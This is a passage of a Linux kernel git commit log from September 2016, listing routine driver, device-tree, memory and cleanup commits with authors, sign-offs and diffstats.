savings. Reviewed-by: Yakir Yang Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/rockchip_drm_psr.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b883c9ba18a4d527fddc952a35565e34a5d22e15 Author: Sean Paul Date: Thu Aug 18 12:01:46 2016 -0700 drm/rockchip: Don't key off vblank for psr Instead of keying off vblank for psr, just flush every time we get an atomic update. This ensures that cursor updates will properly disable psr (without turning vblank on/off), and unifies the paths between fb_dirty and atomic psr enable/disable. Reviewed-by: Yakir Yang Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/rockchip_drm_fb.c | 2 +- drivers/gpu/drm/rockchip/rockchip_drm_psr.c | 72 ++++++++++++++++++++--------- drivers/gpu/drm/rockchip/rockchip_drm_psr.h | 8 ++-- drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 10 ++-- 4 files changed, 62 insertions(+), 30 deletions(-) commit 1827822902cf659d60d3413fd42c7e6cbd18df4d Author: Denys Vlasenko Date: Sun Sep 18 20:21:25 2016 +0200 x86/e820: Use much less memory for e820/e820_saved, save up to 120k The maximum size of e820 map array for EFI systems is defined as E820_X_MAX (E820MAX + 3 * MAX_NUMNODES). In x86_64 defconfig, this ends up with E820_X_MAX = 320, e820 and e820_saved are 6404 bytes each. With larger configs, for example Fedora kernels, E820_X_MAX = 3200, e820 and e820_saved are 64004 bytes each. Most of this space is wasted. Typical machines have some 20-30 e820 areas at most. After previous patch, e820 and e820_saved are pointers to e280 maps. Change them to initially point to maps which are __initdata. At the very end of kernel init, just before __init[data] sections are freed in free_initmem(), allocate smaller blocks, copy maps there, and change pointers. The late switch makes sure that all functions which can be used to change e820 maps are no longer accessible (they are all __init functions). Run-tested. Signed-off-by: Denys Vlasenko Acked-by: Thomas Gleixner Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Yinghai Lu Cc: linux-kernel@vger.kernel.org Link: http://lkml.kernel.org/r/20160918182125.21000-1-dvlasenk@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/e820.c | 8 ++++---- arch/x86/mm/init.c | 4 ++-- 2 files changed, 6 insertions(+), 6 deletions(-) commit 475339684ef19e46f4702e2d185a869a5c454688 Author: Denys Vlasenko Date: Sat Sep 17 23:39:26 2016 +0200 x86/e820: Prepare e280 code for switch to dynamic storage This patch turns e820 and e820_saved into pointers to e820 tables, of the same size as before. Signed-off-by: Denys Vlasenko Acked-by: Thomas Gleixner Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Yinghai Lu Cc: linux-kernel@vger.kernel.org Link: http://lkml.kernel.org/r/20160917213927.1787-2-dvlasenk@redhat.com Signed-off-by: Ingo Molnar arch/x86/include/asm/e820.h | 6 +- arch/x86/kernel/e820.c | 125 +++++++++++++++++++++++--------------- arch/x86/kernel/early-quirks.c | 2 +- arch/x86/kernel/kexec-bzimage64.c | 4 +- arch/x86/kernel/resource.c | 4 +- arch/x86/kernel/setup.c | 8 +-- arch/x86/kernel/tboot.c | 8 +-- arch/x86/mm/init.c | 2 + arch/x86/platform/efi/efi.c | 2 +- arch/x86/xen/setup.c | 2 +- 10 files changed, 98 insertions(+), 65 deletions(-) commit 8c2103f224216a45c1a4d7aebbc13f3e007cde34 Author: Denys Vlasenko Date: Sat Sep 17 23:39:25 2016 +0200 x86/e820: Mark some static functions __init They are all called only from other __init functions in e820.c Signed-off-by: Denys Vlasenko Acked-by: Thomas Gleixner Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Yinghai Lu Cc: linux-kernel@vger.kernel.org Link: http://lkml.kernel.org/r/20160917213927.1787-1-dvlasenk@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/e820.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 580498a23be1de55be55147eaee20a69249aeb13 Merge: 3ec9796 7d1e042 Author: Ingo Molnar Date: Wed Sep 21 15:01:57 2016 +0200 Merge branch 'linus' into x86/boot, to pick up fixes Signed-off-by: Ingo Molnar commit db68577966abc1aeae4ec597b3dcfa0d56e92041 Author: Takashi Iwai Date: Wed Sep 21 14:38:02 2016 +0200 ALSA: ali5451: Fix out-of-bound position reporting The pointer callbacks of ali5451 driver may return the value at the boundary occasionally, and it results in the kernel warning like snd_ali5451 0000:00:06.0: BUG: , pos = 16384, buffer size = 16384, period size = 1024 It seems that folding the position offset is enough for fixing the warning and no ill-effect has been seen by that. Reported-by: Enrico Mioso Tested-by: Enrico Mioso Cc: Signed-off-by: Takashi Iwai sound/pci/ali5451/ali5451.c | 2 ++ 1 file changed, 2 insertions(+) commit 0da325afbdb80098e014b83937372e3eef6872d5 Author: Valdis Kletnieks Date: Tue Sep 20 18:14:53 2016 -0400 ALSA: line6: snd-usb-line6 depends on CONFIG_SND_HWDEP ERROR: "snd_hwdep_new" [sound/usb/line6/snd-usb-line6.ko] undefined! scripts/Makefile.modpost:91: recipe for target '__modpost' failed make[1]: *** [__modpost] Error 1 Fixes: a16039cbf1a1 ('ALSA: line6: Add hwdep interface to access the POD control messages') Signed-off-by: Valdis Kletnieks Reviewed-by: Takashi Sakamoto Signed-off-by: Takashi Iwai sound/usb/line6/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 5a79d596378b65e773d93d00edcb57a33f87ea94 Author: Alexandre TORGUE Date: Tue Sep 20 18:00:59 2016 +0200 ARM/dts: Add EXTI controller node to stm32f429 Originally-from: Maxime Coquelin Signed-off-by: Alexandre TORGUE Cc: Mark Rutland Cc: devicetree@vger.kernel.org Cc: Daniel Thompson Cc: Jason Cooper Cc: arnd@arndb.de Cc: Marc Zyngier Cc: bruherrera@gmail.com Cc: Linus Walleij Cc: linux-gpio@vger.kernel.org Cc: Rob Herring Cc: lee.jones@linaro.org Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/1474387259-18926-5-git-send-email-alexandre.torgue@st.com Signed-off-by: Thomas Gleixner arch/arm/boot/dts/stm32f429.dtsi | 8 ++++++++ 1 file changed, 8 insertions(+) commit 47f91519546ce39cceee2c51b0f5045eadc688a9 Author: Alexandre TORGUE Date: Tue Sep 20 18:00:58 2016 +0200 ARM/STM32: Select external interrupts controller Originally-from: Maxime Coquelin Signed-off-by: Alexandre TORGUE Cc: Mark Rutland Cc: devicetree@vger.kernel.org Cc: Daniel Thompson Cc: Jason Cooper Cc: arnd@arndb.de Cc: Marc Zyngier Cc: bruherrera@gmail.com Cc: Linus Walleij Cc: linux-gpio@vger.kernel.org Cc: Rob Herring Cc: lee.jones@linaro.org Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/1474387259-18926-4-git-send-email-alexandre.torgue@st.com Signed-off-by: Thomas Gleixner arch/arm/Kconfig | 1 + 1 file changed, 1 insertion(+) commit e072041688ca73f125719815fa4b0fd23a45152c Author: Alexandre TORGUE Date: Tue Sep 20 18:00:57 2016 +0200 drivers/irqchip: Add STM32 external interrupts support The STM32 external interrupt controller consists of edge detectors that generate interrupts requests or wake-up events. Each line can be independently configured as interrupt or wake-up source, and triggers either on rising, falling or both edges. Each line can also be masked independently. Originally-from: Maxime Coquelin Signed-off-by: Alexandre TORGUE Cc: Mark Rutland Cc: devicetree@vger.kernel.org Cc: Daniel Thompson Cc: Jason Cooper Cc: arnd@arndb.de Cc: Marc Zyngier Cc: bruherrera@gmail.com Cc: Linus Walleij Cc: linux-gpio@vger.kernel.org Cc: Rob Herring Cc: lee.jones@linaro.org Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/1474387259-18926-3-git-send-email-alexandre.torgue@st.com Signed-off-by: Thomas Gleixner drivers/irqchip/Kconfig | 4 + drivers/irqchip/Makefile | 1 + drivers/irqchip/irq-stm32-exti.c | 201 +++++++++++++++++++++++++++++++++++++++ 3 files changed, 206 insertions(+) commit 3027f78bb7243bef28c103507fc857e1471d769d Author: Alexandre TORGUE Date: Tue Sep 20 18:00:56 2016 +0200 Documentation/dt-bindings: Document STM32 EXTI controller bindings Originally-from: Maxime Coquelin Signed-off-by: Alexandre TORGUE Cc: Mark Rutland Cc: devicetree@vger.kernel.org Cc: Daniel Thompson Cc: Jason Cooper Cc: arnd@arndb.de Cc: Marc Zyngier Cc: bruherrera@gmail.com Cc: Linus Walleij Cc: linux-gpio@vger.kernel.org Cc: Rob Herring Cc: lee.jones@linaro.org Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/1474387259-18926-2-git-send-email-alexandre.torgue@st.com Signed-off-by: Thomas Gleixner .../bindings/interrupt-controller/st,stm32-exti.txt | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit f15e6bb06e160eb6c0345e4636b4c3bff7a17a53 Author: Dhinakaran Pandiyan Date: Mon Sep 19 15:40:48 2016 -0700 drm: Fix typo in encoder docs Corrected typo in bridge and encoder comparison. Also, added a one-line encoder description from the previous documentation. Cc: Daniel Vetter Cc: Archit Taneja Signed-off-by: Dhinakaran Pandiyan Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1474324848-6446-1-git-send-email-dhinakaran.pandiyan@intel.com drivers/gpu/drm/drm_encoder.c | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) commit b5a2ecd857a224c4fbeeaa4f60f09bea3fc1837e Author: Markus Elfring Date: Mon Sep 19 17:30:31 2016 +0200 GPU-DRM: Replace a kzalloc() call by kcalloc() in drm_legacy_addbufs_sg() The script "checkpatch.pl" can point information out like the following. WARNING: Prefer kcalloc over kzalloc with multiply Thus fix the affected source code place. Signed-off-by: Markus Elfring Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/b340d1ca-f114-a523-e6d1-afe7fd6c3826@users.sourceforge.net drivers/gpu/drm/drm_bufs.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 81a441378d6e5b030af5429fe2ca1763de0f053a Author: Markus Elfring Date: Mon Sep 19 17:24:20 2016 +0200 GPU-DRM: Replace a kzalloc() call by kcalloc() in drm_legacy_addbufs_agp() The script "checkpatch.pl" can point information out like the following. WARNING: Prefer kcalloc over kzalloc with multiply Thus fix the affected source code place. Signed-off-by: Markus Elfring Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/606c22f3-5da5-2e84-783d-bfe5289b4a01@users.sourceforge.net drivers/gpu/drm/drm_bufs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ed6dee41927b6acad9f209899f360d4167f3f452 Author: Markus Elfring Date: Mon Sep 19 17:17:34 2016 +0200 GPU-DRM: Replace two kzalloc() calls by kcalloc() in drm_legacy_addbufs_pci() The script "checkpatch.pl" can point information out like the following. WARNING: Prefer kcalloc over kzalloc with multiply Thus fix the affected source code places. Signed-off-by: Markus Elfring Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/51f88f44-130d-48ac-f531-32ca9ae3919f@users.sourceforge.net drivers/gpu/drm/drm_bufs.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2027400893a2fa03d764f62ca8e0c677d7691234 Author: Markus Elfring Date: Mon Sep 19 17:07:06 2016 +0200 GPU-DRM: Use kmalloc_array() in drm_legacy_addbufs_pci() A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/b71c8fee-8e84-9f1b-8569-f1ae8b879cc5@users.sourceforge.net drivers/gpu/drm/drm_bufs.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 92b8bd96fc1ae9c804526cb79bf289c3f815f3ff Author: Vaibhav Hiremath Date: Wed Sep 21 16:28:13 2016 +0530 staging: greybus: add maintainer for greybus platform drivers Add Vaibhav Hiremath as a Maintainer of Greybus platform drivers. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman MAINTAINERS | 7 +++++++ 1 file changed, 7 insertions(+) commit d6efab74f67249fa18cdf6b5420f9787db195f85 Author: Yazen Ghannam Date: Thu Sep 15 19:07:17 2016 -0500 EDAC, amd64: Autoload module using x86_cpu_id Reinstate driver autoloading now that PCI dependency is gone. Signed-off-by: Yazen Ghannam Cc: linux-edac Link: http://lkml.kernel.org/r/1473984445-1726-2-git-send-email-Yazen.Ghannam@amd.com Signed-off-by: Borislav Petkov drivers/edac/amd64_edac.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit c2f672fc94642bae96821a393f342edcfa9794a6 Author: Florian Westphal Date: Tue Sep 20 15:45:26 2016 +0200 xfrm: state lookup can be lockless This is called from the packet input path, we get lock contention if many cpus handle ipsec in parallel. After recent rcu conversion it is safe to call __xfrm_state_lookup without the spinlock. Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert net/xfrm/xfrm_state.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit abf095b5c567e36800d56c0ea0066b046b2678e1 Author: Greg Kroah-Hartman Date: Wed Sep 21 12:35:13 2016 +0200 staging: greybus: fix up camera Kconfig dependancies CONFIG_MEDIA is not a thing, but CONFIG_MEDIA_SUPPORT is, so use that. Reported-by: Valentin Rothberg Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9c4a45b17e094a090e96beb1138e34c2a10c6b8c Author: Christian Lamparter Date: Sat Sep 17 21:43:04 2016 +0200 b43legacy: fix debugfs crash This patch fixes a crash that happens because b43legacy's debugfs code expects file->f_op to be a pointer to its own b43legacy_debugfs_fops struct. This is no longer the case since commit 9fd4dcece43a ("debugfs: prevent access to possibly dead file_operations at file open") Reviewed-by: Nicolai Stange Signed-off-by: Christian Lamparter Cc: stable # 4.7+ Signed-off-by: Greg Kroah-Hartman drivers/net/wireless/broadcom/b43legacy/debugfs.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 51b275a6fe5601834b717351d6cbdb89bd1f308b Author: Christian Lamparter Date: Sat Sep 17 21:43:03 2016 +0200 b43: fix debugfs crash This patch fixes a crash that happens because b43's debugfs code expects file->f_op to be a pointer to its own b43_debugfs_fops struct. This is no longer the case since commit 9fd4dcece43a ("debugfs: prevent access to possibly dead file_operations at file open") Reviewed-by: Nicolai Stange Signed-off-by: Christian Lamparter Cc: stable # 4.7+ Signed-off-by: Greg Kroah-Hartman drivers/net/wireless/broadcom/b43/debugfs.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 86f0e06767dda7863d6d2a8f0b3b857e6ea876a0 Author: Christian Lamparter Date: Sat Sep 17 21:43:01 2016 +0200 debugfs: introduce a public file_operations accessor This patch introduces an accessor which can be used by the users of debugfs (drivers, fs, ...) to get the original file_operations struct. It also removes the REAL_FOPS_DEREF macro in file.c and converts the code to use the public version. Previously, REAL_FOPS_DEREF was only available within the file.c of debugfs. But having a public getter available for debugfs users is important as some drivers (carl9170 and b43) use the pointer of the original file_operations in conjunction with container_of() within their debugfs implementations. Reviewed-by: Nicolai Stange Signed-off-by: Christian Lamparter Cc: stable # 4.7+ Signed-off-by: Greg Kroah-Hartman fs/debugfs/file.c | 13 +++++-------- include/linux/debugfs.h | 17 +++++++++++++++++ 2 files changed, 22 insertions(+), 8 deletions(-) commit a43bb30b62cf6993f1351c3f0d25f048e96052cd Author: David Kershner Date: Tue Sep 20 16:29:02 2016 -0400 staging: unisys: include: remove unused ULTRA_CHANNELCLI_STRING The inline ULTRA_CHANNELCLI_STRING is not being used so remove it. Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/channel.h | 22 ---------------------- 1 file changed, 22 deletions(-) commit 0082b016b59e67cbbb747166565074f61255da7d Author: David Kershner Date: Tue Sep 20 16:29:01 2016 -0400 staging: unisys: include: remove unused spar_channel_client_release_os The function spar_channel_client_release_os is not being used so remove it. Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/channel.h | 22 ---------------------- 1 file changed, 22 deletions(-) commit 207d14a1aa70fd5bafdc3900f431df40c733c8ab Author: David Kershner Date: Tue Sep 20 16:29:00 2016 -0400 staging: unisys: include: remove unused spar_channel_client_acquire_os The function spar_channel_client_acquire_os is not being used so remove it. Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/channel.h | 104 ------------------------------- 1 file changed, 104 deletions(-) commit 3838925ce22063cb8e2b70311d3163b869bc6592 Author: David Kershner Date: Tue Sep 20 16:28:59 2016 -0400 staging: unisys: include: remove unused function pathname_last_n_nodes The function pathname_last_n_nodes is not used, get rid of it. Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/channel.h | 32 -------------------------------- 1 file changed, 32 deletions(-) commit d616700e38d91f9ec11d83ccf64d8e038935f26d Author: David Kershner Date: Tue Sep 20 13:14:05 2016 -0400 staging: unisys: visorhba: remove prototypes for visorhba_main.c Remove not needed prototypes in visorhba. Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorhba/visorhba_main.c | 50 +++++++++++-------------- 1 file changed, 21 insertions(+), 29 deletions(-) commit c336dc7dac0747f6a4901bcd5a497e1b3fb265d7 Author: Jamie Lentin Date: Thu May 19 22:40:32 2016 +0100 pinctrl: mvebu: orion5x: Generalise mv88f5181l support for 88f5181 As far as I'm aware the mv88f5181-b1 and mv88f5181l are the same at the pinctrl level, so re-use the definitions for both. [gregory.clement@free-electrons.com: fix commit title] Signed-off-by: Jamie Lentin Reviewed-by: Andrew Lunn Acked-by: Rob Herring Acked-by: Linus Walleij Signed-off-by: Gregory CLEMENT .../bindings/pinctrl/marvell,orion-pinctrl.txt | 4 +++- drivers/pinctrl/mvebu/pinctrl-orion.c | 23 +++++++++++----------- 2 files changed, 15 insertions(+), 12 deletions(-) commit 57d0ee077af5621102b3d1a0a701150b56e9747c Author: Jamie Lentin Date: Thu May 19 22:38:23 2016 +0100 clk: mvebu: Add clk support for the orion5x SoC mv88f5181 Referring to the u-boot sources for the Netgear WNR854T, add support for the mv88f5181. [gregory.clement@free-electrons.com: fix commit title] Signed-off-by: Jamie Lentin Reviewed-by: Andrew Lunn Acked-by: Rob Herring Acked-by: Stephen Boyd Signed-off-by: Gregory CLEMENT .../devicetree/bindings/clock/mvebu-core-clock.txt | 1 + drivers/clk/mvebu/orion.c | 70 ++++++++++++++++++++++ 2 files changed, 71 insertions(+) commit e7b6d8a61e3244392f882a31d08eab338cdeb772 Author: David Kershner Date: Tue Sep 20 11:42:06 2016 -0400 staging: unisys: visornic: remove poll_for_irq prototype Remove poll_for_irq prototype not needed. Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visornic/visornic_main.c | 2 -- 1 file changed, 2 deletions(-) commit 2e805a9738a0487db1f5b8b6cb41b6c4cd882b63 Author: David Kershner Date: Tue Sep 20 11:42:05 2016 -0400 staging: unisys: visornic: remove visornic_poll prototype Remove visornic_poll prototype, because it is not needed. Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visornic/visornic_main.c | 1 - 1 file changed, 1 deletion(-) commit 0543205b7e216288c7905cedf5ba804f3ee37599 Author: David Kershner Date: Tue Sep 20 11:42:04 2016 -0400 staging: unisys: visornic: remove visornic debugfs protoyptes Remove visornic debugfs prototypes, they are not needed. Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visornic/visornic_main.c | 23 +++++++++-------------- 1 file changed, 9 insertions(+), 14 deletions(-) commit 6083c7108193f32da8792fbbce18d80ee4ca75af Author: David Kershner Date: Tue Sep 20 11:42:03 2016 -0400 staging: unisys: visornic: remove prototypes Remove unneeded prototypes from visornic_main.c Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visornic/visornic_main.c | 41 ++++++++++--------------- 1 file changed, 17 insertions(+), 24 deletions(-) commit 926706c59d4dbca4289b7aa20a8c47ee1006b1ce Author: Vaibhav Agarwal Date: Wed Sep 21 14:17:05 2016 +0530 staging: greybus: add maintainer for greybus audio protocol driver Add Vaibhav as maintainer of some Greybus Audio protocol drivers. Signed-off-by: Vaibhav Agarwal Signed-off-by: Greg Kroah-Hartman MAINTAINERS | 7 +++++++ 1 file changed, 7 insertions(+) commit 90cb4b8c7e3af989c78227954e01455fc7c1e767 Author: Hans de Goede Date: Mon Sep 19 12:39:25 2016 +0200 ARM: dts: sun8i: Add accelerometer to polaroid-mid2407pxe03 Add a dt node describing the mma7660 accelerometer on the polaroid-mid2407pxe03 tablet. Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-a23-polaroid-mid2407pxe03.dts | 7 +++++++ 1 file changed, 7 insertions(+) commit fef377702efc6c6ecab0c323dd72ede4a32fcb02 Author: Icenowy Zheng Date: Fri Sep 16 23:16:42 2016 +0800 ARM: dts: sun8i: enable UART1 for iNet D978 Rev2 board UART1 is connected to the bluetooth part of RTL8723BS WiFi/BT combo card on iNet D978 Rev2 board. Enable the UART1 to make it possible to use the modified hciattach by Realtek to drive the BT part of RTL8723BS. On the board no r_uart pins are found now (the onboard RX/TX pins are wired to PF2/PF4, which is muxed with mmc0), so also disabled it. Signed-off-by: Icenowy Zheng Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-a33-inet-d978-rev2.dts | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit 82eec384249fb4a58ad9b8946dc7623393311593 Author: Icenowy Zheng Date: Fri Sep 16 23:16:41 2016 +0800 ARM: dts: sun8i: add pinmux for UART1 at PG The UART1 at PG (PG6, PG7, PG8, PG9) is, in the Allwinner's reference tablet design of A23/33, used to connect to UART Bluetooth cards. Add the pinmux for it. Signed-off-by: Icenowy Zheng Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-a23-a33.dtsi | 10 ++++++++++ 1 file changed, 10 insertions(+) commit d8a507e6d9316b1023ba3cc9a7e696067200b495 Author: Jorik Jonker Date: Mon Sep 12 20:12:47 2016 +0200 dts: sun8i-h3: add I2C0-2 peripherals to H3 SOC These peripherals can only be muxed to these pins, so they are associated in the DTSI instead of the board files. This makes it very easy to enable them using overlays or u-boot commands: => fdt set /soc/i2c@01c2ac00 status okay Signed-off-by: Jorik Jonker Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-h3.dtsi | 39 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) commit 85e6f7ff7d01b31c654295aaa09b9ed0fe914e98 Author: Jorik Jonker Date: Mon Sep 12 20:12:46 2016 +0200 dts: sun8i-h3: add pinmux definitions for I2C0-2 These are the only possible pins for these peripherals according to the datasheet. Signed-off-by: Jorik Jonker Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-h3.dtsi | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) commit 33d9fc06cae240f1ba769caa40d5b023c0c38cee Author: Jorik Jonker Date: Mon Sep 12 20:12:45 2016 +0200 dts: sun8i-h3: associate exposed UARTs on Orange Pi Boards These H3 boards all expose UART1-3 on their expansion header. Since other functions can be muxed to these pins, they are explicitly disabled. To enable them, one could use DT overlays or U-boot commands: => fdt set /soc/serial@01c28c00 status okay Signed-off-by: Jorik Jonker Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-h3-orangepi-2.dts | 18 ++++++++++++++++++ arch/arm/boot/dts/sun8i-h3-orangepi-one.dts | 18 ++++++++++++++++++ arch/arm/boot/dts/sun8i-h3-orangepi-pc.dts | 18 ++++++++++++++++++ 3 files changed, 54 insertions(+) commit ae0fc941527cc74e7aeef700e5dbe07848a00bfb Author: Jorik Jonker Date: Mon Sep 12 20:12:44 2016 +0200 dts: sun8i-h3: split off RTS/CTS for UART1 in seperate pinmux This was done to make UART1-3 on H3 consistent, and less complicated to enable UART1-3 on the breakout header on the several H3 board (notably Orange Pi's). This patch adds a bit of complexity for the existing Banana Pi, which already had the RTS/CTS associated on UART1. The RTS/CTS for UART2-3 could be defined in the same way, but since there is no actual use case for them at the moment, they are left out. Signed-off-by: Jorik Jonker Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-h3-bananapi-m2-plus.dts | 2 +- arch/arm/boot/dts/sun8i-h3.dtsi | 11 +++++++++-- 2 files changed, 10 insertions(+), 3 deletions(-) commit e3d11d3c45c5ef6dac68b49f68ce2bc6d6ddefce Author: Jorik Jonker Date: Mon Sep 12 20:12:43 2016 +0200 dts: sun8i-h3: add pinmux definitions for UART2-3 These are the pinmux definitions for UART2-3 on H3. These UARTs can only be muxed to these pins, so _a and @0 do not really make sense. I have left out RTS/CTS, since these are rarely used. These can easily be enabled using an additional pinmux set. Signed-off-by: Jorik Jonker Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-h3.dtsi | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 013ace36f89b38c59a0adb5ffe215dab6eeabb2f Author: Chen-Yu Tsai Date: Sat Aug 27 15:55:44 2016 +0800 ARM: dts: sun9i: a80-optimus: Disable EHCI1 EHCI1 provides an HSIC interface. This interface is exposed on the board through two pins among the GPIO header. With the PHY now powered up and responding, enabling the interface when nothing is connected results in a lot of error messages: usb 2-1: device descriptor read/64, error -71 usb 2-1: device descriptor read/64, error -71 usb 2-1: new high-speed USB device number 3 using ehci-platform usb 2-1: device descriptor read/64, error -71 usb 2-1: device descriptor read/64, error -71 usb 2-1: new high-speed USB device number 4 using ehci-platform usb 2-1: device not accepting address 4, error -71 usb 2-1: new high-speed USB device number 5 using ehci-platform usb 2-1: device not accepting address 5, error -71 usb usb2-port1: unable to enumerate USB device Disable it by default, but leave the entries in the board DTS. Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun9i-a80-optimus.dts | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit f97f02eef2b218e2d963b6f9c3e91380ab1cb0cf Author: Chen-Yu Tsai Date: Sat Aug 27 15:55:43 2016 +0800 ARM: dts: sun9i: cubieboard4: Add AXP806 PMIC device node and regulators The AXP806 PMIC is the secondary PMIC. It provides various supply voltages for the SoC and other peripherals. The PMIC's interrupt line is connected to NMI pin of the SoC. Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun9i-a80-cubieboard4.dts | 112 ++++++++++++++++++++++++++++ 1 file changed, 112 insertions(+) commit 17b7eef1873c782bf27920e8415610d4c80824ef Author: Chen-Yu Tsai Date: Sat Aug 27 15:55:42 2016 +0800 ARM: dts: sun9i: a80-optimus: Add AXP806 PMIC device node and regulators The AXP806 PMIC is the secondary PMIC. It provides various supply voltages for the SoC and other peripherals. The PMIC's interrupt line is connected to NMI pin of the SoC. Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun9i-a80-optimus.dts | 113 ++++++++++++++++++++++++++++++++ 1 file changed, 113 insertions(+) commit 296450c208ad5c2de9a0ece4f71d9754b89c0913 Author: Chen-Yu Tsai Date: Sat Aug 27 15:55:41 2016 +0800 ARM: dts: sun9i: cubieboard4: Declare AXP809 SW regulator as unused The AXP809's SW (switch) regulator is unused on the Cubieboard 4. Add an empty node for it so that the OS can generate constraints. Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun9i-a80-cubieboard4.dts | 4 ++++ 1 file changed, 4 insertions(+) commit fb455eda3f2b4e4b983b0d2f4e1166704793d4f0 Author: Chen-Yu Tsai Date: Sat Aug 27 15:55:40 2016 +0800 ARM: dts: sun9i: a80-optimus: Declare AXP809 SW regulator as unused The AXP809's SW (switch) regulator is unused on the A80 Optimus. Add an empty node for it so that the OS can generate constraints. Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun9i-a80-optimus.dts | 4 ++++ 1 file changed, 4 insertions(+) commit 303146d220532a7a729ccc4da58312b80e70998f Author: Hans de Goede Date: Sun Sep 11 20:23:27 2016 +0200 ARM: dts: sun8i: Add touchscreen node for sun8i-a33-ga10h The ga10h tablet has a gsl3675 touchscreen, add a dt node describing it. Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai arch/arm/boot/dts/sun8i-a33-ga10h-v1.1.dts | 10 ++++++++++ 1 file changed, 10 insertions(+) commit a8da66f45467bd2bc304f12c9363df786c3dae51 Author: Hans de Goede Date: Sun Sep 11 20:23:26 2016 +0200 ARM: dts: sun8i: Add touchscreen node for sun8i-a23-polaroid-mid2809pxe04 Add a node enabling the gsl3670 touchscreen controller found on sun8i-a23-polaroid-mid2809pxe04 tablets. Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai arch/arm/boot/dts/sun8i-a23-polaroid-mid2809pxe04.dts | 9 +++++++++ 1 file changed, 9 insertions(+) commit 072c3d7e007d51405729e9fc4aeb8fe46687ba86 Author: 